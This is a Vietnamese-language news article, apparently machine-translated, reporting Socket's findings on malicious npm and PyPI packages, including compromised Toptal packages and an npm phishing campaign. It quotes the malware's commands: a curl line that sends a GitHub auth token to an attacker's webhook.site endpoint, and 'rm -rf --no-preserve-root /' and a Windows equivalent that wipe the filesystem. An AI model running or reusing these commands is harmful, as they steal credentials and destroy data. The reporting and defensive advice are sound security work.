Các cuộc tấn công chuỗi cung ứng vào phần mềm mã nguồn mở đang trở nên mất kiểm soát.

Tác giả tanthanh 10/02/2026 15 phút đọc

Đây là một tuần bận rộn đối với các cuộc tấn công chuỗi cung ứng nhắm vào phần mềm nguồn mở có sẵn trong các kho công cộng, với việc vi phạm thành công nhiều tài khoản nhà phát triển dẫn đến việc các gói độc hại bị đẩy đến những người dùng không nghi ngờ.

Mục tiêu mới nhất, theo như công ty bảo mật Socket, là mã JavaScript có sẵn trên kho lưu trữ npm. Tổng cộng có 10 gói có sẵn từ trang npm thuộc cơ quan tài năng toàn cầu Toptal chứa phần mềm độc hại và đã được tải xuống khoảng 5.000 lần trước khi cuộc tấn công chuỗi cung ứng bị phát hiện. Các gói đã được gỡ bỏ. Đây là cuộc tấn công chuỗi cung ứng thứ ba mà Socket quan sát được vào npm trong tuần qua.

Đầu độc giếng

Các tin tặc đằng sau cuộc tấn công đã kéo nó ra bằng cách xâm nhập Toptal Lừa GitHub Organization đầu tiên và từ đó sử dụng quyền truy cập đó để xuất bản các gói độc hại trên npm.

Các nhà nghiên cứu vẫn không biết chính xác cuộc tấn công hoạt động như thế nào và mối quan hệ chính xác giữa các thay đổi kho lưu trữ GitHub và việc xuất bản các gói trên npm. Socket cho biết trong một email rằng việc xuất bản npm “có thể xảy ra thông qua GitHub Actions hoặc mã thông báo npm được lưu trữ, có thể truy cập được sau khi Tổ chức GitHub bị vi phạm.” GitHub và npm thường được liên kết trong quy trình làm việc, cho phép xuất bản các gói npm sau khi tổ chức GitHub bị tấn công.

“Cuộc tấn công có thể bắt nguồn từ quyền truy cập GitHub bị xâm phạm cho phép sửa đổi cả kho lưu trữ và xuất bản npm hoặc từ các vectơ xâm phạm riêng biệt ảnh hưởng độc lập đến cả hai nền tảng, các nhà nghiên cứu của Socket đã viết thứ tư. “Nếu không có bằng chứng pháp y bổ sung, việc xác định trình tự và mối quan hệ chính xác giữa các sự kiện này vẫn còn nhiều thách thức.”

Toptal vẫn chưa cho biết tài khoản của họ đã bị xâm phạm như thế nào. Đại diện công ty đã không trả lời email yêu cầu.

Các malicious tải trọng được đưa vào các gói có hai giai đoạn. Đầu tiên, mã đã trích xuất mã thông báo xác thực GitHub của mục tiêu và gửi nó đến điểm cuối do kẻ tấn công kiểm soát tại webhook.site miền. Các mã thông báo này đã cho phép những kẻ tấn công truy cập liên tục vào kho GitHub của mục tiêu, từ đó có thể được sử dụng trong các cuộc tấn công chuỗi cung ứng tiếp theo.

Lệnh gọi trích xuất là:

curl -d "$(gh auth token)" https://webhook[.]site/fb5b4647-aff8-418c-99e7-ec830cc2024b

Sau khi thông tin xác thực được lọc ra, tải trọng đã cố gắng xóa toàn bộ hệ thống tệp của thiết bị của mục tiêu. Tập lệnh chứa các lệnh phá hủy hệ thống tệp trên hệ điều hành Unix hoặc Windows. Lệnh Unix được sử dụng là:

sudo rm -rf --no-preserve-root /

Cờ –no-preserve-root được thiết kế đặc biệt để ghi đè các biện pháp bảo vệ an toàn thường ngăn chặn việc xóa thư mục gốc.

Tập lệnh postinstall bao gồm lệnh phá hủy tương đương với Windows là:

rm /s /q

Ổ cắm đã xuất bản a báo cáo riêng Thứ Tư về nhiều cuộc tấn công chuỗi cung ứng hơn, một cuộc tấn công nhắm vào người dùng npm và một cuộc tấn công khác nhắm vào người dùng PyPI. Tính đến thứ Tư, bốn gói độc hại—three được xuất bản tới npm và gói thứ tư trên PyPI—collectively đã được tải xuống hơn 56.000 lần. Socket cho biết họ đang làm việc để loại bỏ chúng.

Khi được cài đặt, các gói “bí mật tích hợp chức năng giám sát vào môi trường của nhà phát triển, cho phép ghi lại khóa, chụp màn hình, lấy dấu vân tay, truy cập webcam và đánh cắp thông tin xác thực, các nhà nghiên cứu của ” Socket viết. Họ nói thêm rằng phần mềm độc hại đã theo dõi và nắm bắt hoạt động của người dùng và truyền nó đến cơ sở hạ tầng do kẻ tấn công kiểm soát. Socket đã sử dụng thuật ngữ phần mềm độc hại giám sát để nhấn mạnh chiến thuật quan sát bí mật và lọc dữ liệu “trong bối cảnh phụ thuộc độc hại.”

Thứ sáu tuần trước, Ổ cắm báo cáo cuộc tấn công thứ ba. Cái này đã xâm phạm một tài khoản trên npm và sử dụng quyền truy cập để tạo mã độc bên trong ba gói có sẵn trên trang web. Sự thỏa hiệp xảy ra sau khi những kẻ tấn công lấy thành công mã thông báo thông tin xác thực mà nhà phát triển đã sử dụng để xác thực trang web.

Những kẻ tấn công đã lấy được thông tin xác thực thông qua một cuộc tấn công lừa đảo có chủ đích mà Socket đã tiết lộ giờ trước đó. Email hướng dẫn người nhận đăng nhập thông qua một URL trên npnjs.com. Trang web này là sự giả mạo lỗi chính tả của tên miền npmjs.com chính thức. Để làm cho cuộc tấn công thuyết phục hơn, URL lừa đảo chứa trường mã thông báo bắt chước mã thông báo npm sử dụng để xác thực. URL lừa đảo có định dạng

https://npnjs.com/login?token=xxxxxx trong đó xxxxxx đại diện cho mã thông báo.

npm-phishing-email-640x596
Một email lừa đảo nhắm mục tiêu chủ tài khoản npm. Credit: Socket
 
Cũng bị xâm phạm là một gói npm được gọi là ‘is.’ Nó nhận được khoảng 2,8 triệu lượt tải xuống hàng tuần.

Khả năng gây thiệt hại trên diện rộng

Các cuộc tấn công chuỗi cung ứng như những cuộc tấn công mà Socket đã gắn cờ có khả năng gây ra thiệt hại trên diện rộng. Nhiều gói có sẵn trong kho là các phần phụ thuộc, nghĩa là các phần phụ thuộc phải được tích hợp vào các gói xuôi dòng để các gói đó hoạt động. Trong nhiều luồng dành cho nhà phát triển, các phiên bản phụ thuộc mới được tải xuống và tự động tích hợp vào các gói xuôi dòng.

Các gói được gắn cờ trong ba cuộc tấn công là:

  • @toptal/picasso-tailwind
  • @toptal/picasso-biểu đồ
  • @toptal/picasso-chia sẻ
  • @toptal/picasso-provider
  • @toptal/picasso-select
  • @toptal/picasso-quote
  • @toptal/picasso-forms
  • @xene/core
  • @toptal/picasso-utils
  • @toptal/picasso-typography.
  • là phiên bản 3.3.1, 5.0.0
  • got-fetch phiên bản 5.1.11, 5.1.12
  • Eslint-config-prettier, các phiên bản 8.10.1, 9.1.1, 10.1.6 và 10.1.7
  • Eslint-plugin-prettier, phiên bản 4.2.2 và 4.2.3
  • Synckit, phiên bản 0.11.9
  • @pkgr/core, phiên bản 0.2.8
  • Napi-postinstall, phiên bản 0.3.1

Các nhà phát triển làm việc với bất kỳ gói nào được nhắm mục tiêu phải đảm bảo không có phiên bản độc hại nào được cài đặt hoặc tích hợp vào sản phẩm của họ. Các nhà phát triển làm việc với các gói mã nguồn mở nên:

  • Giám sát các thay đổi về khả năng hiển thị của kho lưu trữ để tìm kiếm việc xuất bản các gói đáng ngờ hoặc bất thường
  • Xem lại tập lệnh vòng đời package.json trước khi cài đặt phụ thuộc
  • Sử dụng quét bảo mật tự động trong các đường ống tích hợp liên tục và phân phối liên tục
  • Thường xuyên xoay các token xác thực
  • Sử dụng xác thực đa yếu tố để bảo vệ tài khoản kho lưu trữ

Ngoài ra, các kho lưu trữ chưa thực hiện MFA bắt buộc nên làm như vậy trong tương lai gần.

Cập nhật, ngày 6 tháng 8 năm 2025: Trong một email được gửi sau khi bài đăng này được đưa vào hoạt động, Toptal nói rằng 5.000 lượt tải phần mềm nhận được đến từ 17 địa chỉ IP, có khả năng là từ các máy quét bảo mật tự động. “Chúng tôi không thể xác định được người dùng thực sự bị ảnh hưởng, ” email nêu rõ.

Công ty cho biết thêm: “Nhóm của chúng tôi đã buộc nó trở lại với vụ rò rỉ thông tin xác thực kéo dài nhiều năm bắt nguồn từ LastPass. Những kẻ tấn công đã có được quyền truy cập vào hai gói nguồn mở sau khi giải mã thông tin xác thực từ vụ rò rỉ kế thừa đó. Trong lịch sử, hầu như không ai từng tải các gói này bên ngoài Toptal. Có một bộ gói riêng bổ sung tạm thời được công khai, tuy nhiên không có người dùng nào sử dụng những gói này bên ngoài Toptal.”

Tác giả tanthanh Admin
Bài viết trước Lỗ hổng trong công cụ lập trình Gemini CLI có thể cho phép tin tặc thực thi các lệnh độc hại.

Lỗ hổng trong công cụ lập trình Gemini CLI có thể cho phép tin tặc thực thi các lệnh độc hại.

Bài viết tiếp theo

Lỗ hổng bảo mật SharePoint với mức độ nghiêm trọng 9.8 đang bị khai thác trên toàn cầu.

Lỗ hổng bảo mật SharePoint với mức độ nghiêm trọng 9.8 đang bị khai thác trên toàn cầu.
Viết bình luận
Thêm bình luận

Bài viết liên quan

Thông báo

0917111899